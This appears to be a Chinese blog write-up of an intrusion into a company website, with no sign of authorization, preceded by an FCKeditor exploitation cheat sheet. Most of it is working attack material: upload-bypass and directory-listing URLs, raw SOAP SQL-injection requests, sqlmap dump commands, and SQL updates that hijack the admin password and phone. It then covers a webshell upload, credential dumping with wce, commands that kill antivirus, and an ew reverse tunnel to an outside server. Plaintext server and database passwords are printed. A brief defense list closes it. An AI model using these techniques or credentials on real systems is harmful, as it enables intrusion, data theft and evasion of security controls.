有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间,本文以一个实际案例来介绍web扫描到多个漏洞的综合利用。在对站点初步扫描,并未发现明显漏洞,但通过扫描的信息,通过编辑器列目录漏洞,逐步获取网站文件及目录,网站源代码打包文件,通过分析源代码文件,获取soap注入漏洞,通过注入修改管理员登录密码及手机号码,登录后台后寻找到上传功能页面,通过burpsuite抓包修改,成功获取webshell,通过ew代理等软件,最终成功登录服务器,并连接数据库服务器,本案例涉及多个渗透技术的配合和运用,算是一篇经典的渗透案例。
1.1FCKeditor编辑器漏洞利用总结
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3,如图1所示。
图1获取Fckeditor版本
2.常见的测试上传地址
Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:
(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html
(2)FCKeditor/editor/filemanager/upload/test.html
(3)FCKeditor/editor/filemanager/connectors/test.html
(4)FCKeditor/editor/filemanager/connectors/uploadtest.html
3.示例上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
4.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
5. Windows 2003+IIS6文件解析路径漏洞
通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为:
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg
6.iis6突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
8.列目录
(1)FCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
(3)获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
(4)浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
9.修改Media 类型进行上传
FCKeditor 2.4.2 For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:
<form id="frmUpload"enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"method="post">Upload a new file:<br>
<input type="file"name="NewFile" size="50"><br>
<input id="btnUpload"type="submit" value="Upload">
</form>
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容
AppType application/x-httpd-php .jpg
另外一种方法也可以,其内容为:
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
1.2目标信息收集与扫描
1.目标基本信息收集
(1)IP地址
对目标网站地址www.******.com进行IP地址ping取其IP地址为:58.**.***.27,服务器位于香港,如图2所示,也可以使用nslookup www.******.com进行查询。
图2获取IP地址
(2)端口扫描
通过masscan -p 1-65534 58.**.***.27 对目标端口进行扫描,扫描结果如下:
Discovered open port 22/tcp on 58.**.***.27
Discovered open port 3727/tcp on 58.**.***.27
Discovered open port 23/tcp on 58.**.***.27
Discovered open port 80/tcp on 58.**.***.27
经过实际发现目标经开放3727端口和80端口。
(3)漏洞扫描
通过wvs对目标进行缺省扫描,扫描结果表明存在漏洞,但用处不大,如图3所示,在其中存在7个敏感文件目录,其中存在Fckeditor编辑器。
图3wvs扫描漏洞
(4)同网段域名查询
使用http://www.webscan.cc/网站对IP地址进行C段查询,如图4所示,输入IP地址58.**.***.27,单击“获取地址”-“查询旁站”-“查询C段”,其中旁站查询仅仅已知域名,无其它网站,C段存在多个域名及服务器,经过判断58.**.***.24、58.**.***.27、58.**.***.28和58.**.***.30为该目标公司所使用IP地址。
图4旁站信息查询
整理信息如下:
58.**.***.21(2)
http://58.**.***.21
http://www.x****.com
58.**.***.24(1)
http://m.x****.com
58.**.***.27(1)
http://www.******.com
58.**.***.28(1)
http://new.******.com
再次对上述IP地址范围进行扫描
nmap -p1-65535 -T4 -A -v 58.**.***.21-30
(5)获取真实路径信息
通过页面文件出错,获取网站真实路径地址为:
d:/project/******/upload/ProductImage/image
1.3FCKeditor编辑器漏洞利用
1.FCKeditor编辑器文件列目录漏洞
(1)查看磁盘文件列表
http://www.******.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=d:/project/******/,通过上面地址获取磁盘项目文件列表,如图5所示。
图5获取代码文件列表
(2)下载源代码文件
在网站根目录发现存在压缩文件代码keb.zip,如图6所示,将其下载到本地进行查看。
图6获取源代码文件
(3)获取sms配置文件
通过fckeditor漏洞获取配置文件http://www.******.com/config/configSMS.xml,如图7所示,成功获取其http://www.139000.com网站注册信息,如图8所示。
图7sms配置文件
图8获取手机等信息
(4)上传webshell
fckeditor上传测试页面test.htm地址为http://www.******.com/fckeditor/editor/
filemanager/connectors/test.html,创建9008.asp文件夹,如图9所示:
http://www.******.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/9008.asp
图9创建9008.asp文件夹
通过fckeditor创建1.aspx或者1.aspx,直接二次上传图片木马,如图10和图11所示,虽然将图片木马上传到网站,但由于服务器为Windows2008,不存在IIS解析漏洞,无法获取webshell。
图10上传图片木马webshell
图11获取webshell无法执行
4.soap服务注入漏洞
1.soap服务漏洞扫描
通过对获取的代码进行分析,发现存在web_keb.asmx,将该代码文件进行web服务器漏洞扫描,扫描地址为http://www.******.com/web_keb.asmx?wsdl,使用awvs中的web service scanner即可,扫描结束后发现其存在注入漏洞。
2.头文件抓包并保存
(1)sql注入漏洞1——Web_KEB.asmx文件
POST /Web_KEB.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction:"http://tempuri.org/GetZRPV"
Content-Length: 539
Host: www.******.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:GetZRPV>
<urn:number>1*--</urn:number>
</urn:GetZRPV>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
(2)sql注入漏洞2——MicroMall.asmx文件
POST /MicroMall.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction:"http://microsoft.com/webservices/getNDEndZRPV"
Content-Length: 564
X-Requested-With: XMLHttpRequest
Referer: http://www.******.com/MicroMall.asmx?WSDL
Host: www.******.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelopexmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"xmlns:urn="http://microsoft.com/webservices/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:getNDEndZRPV>
<urn:number>-1* -- </urn:number>
</urn:getNDEndZRPV>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
3.使用sqlmap进行注入测试
将上述两个sql注入点分别保存为soap.txt和soap2.txt。
(1)漏洞点测试
使用sqlmap命令进行注入点测试,可以使用sqlmap.py -r soap.txt 或者sqlmap.py -r soap.txt --batch进行测试,执行效果如图12所示。
图12sqlmap测试漏洞点
(2)获取当前数据库keb_n
sqlmap.py -r soap.txt --batch --current-db
(3)获取当前数据库用户keb
sqlmap.py -r soap.txt --batch--current-user
(4)获取当前用户是否dba
sqlmap.py -r soap.txt --batch --is-dba
(5)查看当前用户
sqlmap.py -r soap.txt --batch --users
(6)查看当前密码需要sa权限
sqlmap.py -r soap.txt --batch --passwords
(7)获取所有数据库名称
sqlmap.py -r soap.txt --batch --dbs
上面所有命令使用以下一条语句全部搞定:
sqlmap.py -r soap.txt --batch--current-db --current-user --is-dba--users --passwords --dbs --exclude-sysdbs
执行效果如图13所示,获取数据库等信息。
图13获取数据库等信息
(8)获取数据库keb中的所有表
sqlmap.py -r soap.txt --batch -D keb_n --tables --time-sec=15 --delay=5
获取其数据库共有1246个数据库表,其中memberinfo为会员数据库。
(9)管理员表列名及数据获取
sqlmap.py -r soap.txt --batch -D keb_n -Tdbo.Manage --columns
sqlmap.py-r soap.txt --batch -D keb_n -T dbo.Manage b --C "email,Username,userpassword"--dump或者获取Manage表所有数据
sqlmap.py -r soap.txt --batch -D keb_n -Tdbo.Manage --dump
执行效果如图14所示。
4.登录后台地址
(1)找到后台地址并登录
目标后台管理地址:http://www.******.com/company/index.aspx,打开后如图14所示,需要输入手机验证码才能登录。
图14需要验证码进行登录
(2)修改管理员密码及手机验证号码
如图15所示,在注入点soap.txt文件中,通过以下语句来更改管理员密码和接收手机短信认证,成功登录后台后,需要将手机号码和密码更新到初始设置。
;update manage setLoginPass='71EA93B43D395711FB66425D480694BA' where id=48--
;update manage setmobiletelt='137*********' where number=’wangxh’--
;update manage set mobiletelt='原手机号码' where number=’wangxh’--
图15修改手机号码及密码
(3)登录后台管理
如图16所示,通过验证后,成功登录后台,在后台中可以看到存在多个管理模块。
图16登录后台进行管理
5.获取webshell
(1)上传地址
登录后台后,通过查看功能页面,寻找到可以上传的地址:http://www.******.com/Company/SetParams/UpAgreePic.aspx
(2)上传shell抓包并修改
上传带一句话后门的图片木马,通过burpsuite进行拦截,进行重放攻击,修改上传文件名为shell.aspx,提交直接获取shell。
(3)获取webshell
http://www.******.com/Company/upLoadRes/shell.aspx
http://www.******.com/Company/upLoadRes/RegistrationAgreement.aspx
(4)使用中国菜刀直接连接该shell地址获取webshell
(5)上传大马
通过中国菜刀后门管理工具,将aspx的webshell大马上传到服务器上,如图17所示,执行set命令查看当前计算机基本信息。
图17获取服务器基本信息
6.延伸渗透
(1)收集目标存在的asmx文件
整理已经获取webshell权限的服务器上的asmx文件,经过整理发现共有:
KEB_WS.asmx
Web_KEB.asmx
KEB_Store.asmx
MicroMall.asmx
WebService.asmx
KEB_Member.asmx
MobileWXPay.asmx
(2)加url地址进行实际访问测试
http://www.x****.com/KEB_WS.asmx
http://www.x****.com/Web_KEB.asmx
http://www.x****.com/KEB_Store.asmx
http://www.x****.com/MicroMall.asmx
http://www.x****.com/WebService.asmx
http://www.x****.com/KEB_Member.asmx
http://www.x****.com/MobileWXPay.asmx
对以上地址进行访问,如图18所示,均不存在该文件,无法利用soap漏洞进行测试。
图18页面不存在
1.5.服务器权限及密码获取
1.获取当前用户权限
通过webshell单击CmdShell,在其中执行“whoami”,如图19所示,获取当前用户权限为“nt authoritysystem”。
图19获取当前用户为系统权限
2获取服务器密码
将密码获取工具wce64版本上传到服务器上面,如图20所示,执行g64即可获取所有的登录密码信息。
图20获取明文密码
(1)早期获取webshell后登录服务器
58.**.***.27:3727早期开放3389端口为3727
administratorse57ILDMMrx7DN 早期获取密码
Administrator/JWppU3940QWErt 新密码
58.**.***.27:37277现在3389端口为更改为37277
3.登录服务器
(1)服务器远程端口获取
通过执行命令tasklist/svc | find “TermService”命令后找到2744的pid,然后执行netstat -ano | find “2744”,该服务器开放的3389端口为3727。
(2)登录服务器
打开mstsc进行登录,如图21所示,成功登录该服务器。
图21登录服务器
3.常规提权思路
(1)生成系统信息文件
systeminfo > WIN-VD9TDV636KN.txt
(2)进行漏洞比对
通过windows-exploit-suggester.py进行审计,执行命令:
windows-exploit-suggester.py --audit -l --database 2018-04-03-mssb.xls--systeminfo WIN-VD9TDV636KN.txt,如图22所示,可以看到该计算机补丁更新情况。
图22补丁更新情况
1.6安全对抗
1.安全防护软件
(1)杀死安全狗及其它防范软件
pskillSafeDogTray.exe
pskillSoftMgrLite.exe
pskillSafeDogTray.exe
pskillSafeDogSiteIIS.exe
pskillSafeDogServerUI.exe
pskillSafeDogGuardCenter.exe
上传pskill等工具第一次执行时,需要在命令后添加“/accepteula”参数,例如查看进程列表:pslist /accepteula,否则会弹出一个授权许可窗口,该窗口是GUI模式下的。
(2)停止SafeDog相关服务
net stop"SafeDogGuardCenter"
net stop"Safedog Update Center" /y
net stop"SafeDogCloudHelper" /y
2.代理转发
(1)使用ew在独立服务器上进行本地连接1080,远程连接8888端口,加入公网独立IP服务器IP地址为139.196.***.***,如果该服务器为linux服务器,执行:
../ew_for_linux64-s rcsocks -l 1080 -e 8888 &
如果是windows则执行:./ew -s rcsocks -l 1080 -e 8888
(2)连接并建立代理
ewms -srssocks -d 139.196.***.*** -e 8888
(3)Proxifier设置代理并连接
通过Proxifier设置代理并连接,然后可以连接数据库等。
1.7数据库导出
1.数据库密码及账号整理
通过对源代码文件进行分析,整理相关数据库登录密码如下:
(1)192.168.1.28SQL2008,4915;database=KEB_n;uid=keb;pwd=keb!@#2016
(2)58.**.***.28SQL2005,4915;database=KEB_test;uid=keb;pwd=keb!@#2016
(3)58.**.***.22sql2005,4915;database=keb_shop;uid=keb_shop;pwd=keb_shop2015!@#;
通过实际测试,仅仅第(3)可以正常连接。
2.站库分离
在本案例中,由于数据库服务器和Web服务器不在同一台计算机上,也就是传说中的站库分离。
3.通过运行CCProxy代理程序进入该网络
(1)编辑CCProxy配置文件AccInfo.ini,在该文件中添加新帐号和密码,设置完毕后将其保存,如图23所示,修改UserCount=3、AuthModel=1以及AuthType=1,意思是用户帐号有3个,开启两种认证模式和认知类型,通过IP地址认证及用户名及密码认证。
图23编辑CCProxy配置文件
在CCProxy中其加密字符对应字典密码如下:
950-1 949-2 948-3 947-4 946-5 945-6 944-7 943-8 942-9 941-0 940-a 939-b 938-c 937-d 936-e 935-f 934-g 933-h 932-i 931-j 930-k 929-l 928-m 927-n 926-o 925-p 924-q 923-r 922-s 921-t 920-u 919-v 918-w 917-x 916-y 915-z
例如Password=948944948944943950944,分解为948 944 948 944 943 950 944=3 7 3 7 8 1 7=3737817。
(2)启动CCProxy
在webshell中先杀死CCProxy进程,然后再执行D:CCProxyCCProxy.exe,重新启动该程序,如图24所示,杀死并启动CCProxy程序。
图24启动CCProxy程序
4.配置Proxifier
(1)创建sock5代理
在Proxifier中,单击“配置文件”-“代理服务器”,如图25所示,设置服务器地址和端口,选择sock5版本,启用验证,输入用户名User003及密码3737817。
图25设置sock5代理服务器
(2)测试代理程序
如图26所示,单击“视图”-“代理检查器”,跟前面设置类似,输入服务器及端口,启用代理及用户和密码,单击开始测试,如果显示代理可以在Proxifler中工作,表示代理建立成功。
图26测试代理服务器
5.连接数据库
在本地安装Navicat Premium程序,建立MSSQL数据库连接,输入用户名及密码,即可本地连接该数据库,可对MSSQL数据库进行查看、导入、导出及管理等操作。
1.8.渗透总结及安全防范
1.渗透总结
(1)整个目标相对难于渗透,在渗透中一个低级的漏洞在合适条件下可以转化为高危漏洞。
(2)soap注入是本次能够成功的前提,通过Fckeditor编辑器列目录漏洞,成功获取了网站的源代码及相关代码文件
(3)对soap服务进行wdsl漏洞扫描
(4)通过sqlmap对soap注入进行测试
(5)使用代理穿透服务查看和管理数据库
2.安全防范
(1)使用Fckeditor最新版本
(2)设置图片上传目录仅仅可读,不可执行
(3)去除多余的无用和无关文件
(4)网站根目录不留代码备份文件
(5)对soap程序加强过滤,加强sql注入防范
1.9文后语
感谢最近的一些朋友打赏,最近公众号会恢复每周2篇文章的数据进行更新,本公众号每一篇文章背后都有些一些故事,渗透的过程其实挺精彩,渗透总结是为了记住当时的一些过程,很多朋友说渗透学习很难,安全的东西就一层纸,每一个知识点就是这层纸,一旦你捅破了,你也就掌握了。我的每一个实战文章都是挺有价值的的,哈哈,懂的人自然懂。欢迎转发,订阅。
本文始发于微信公众号(小兵搞安全):Fckeditor漏洞利用及防御
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论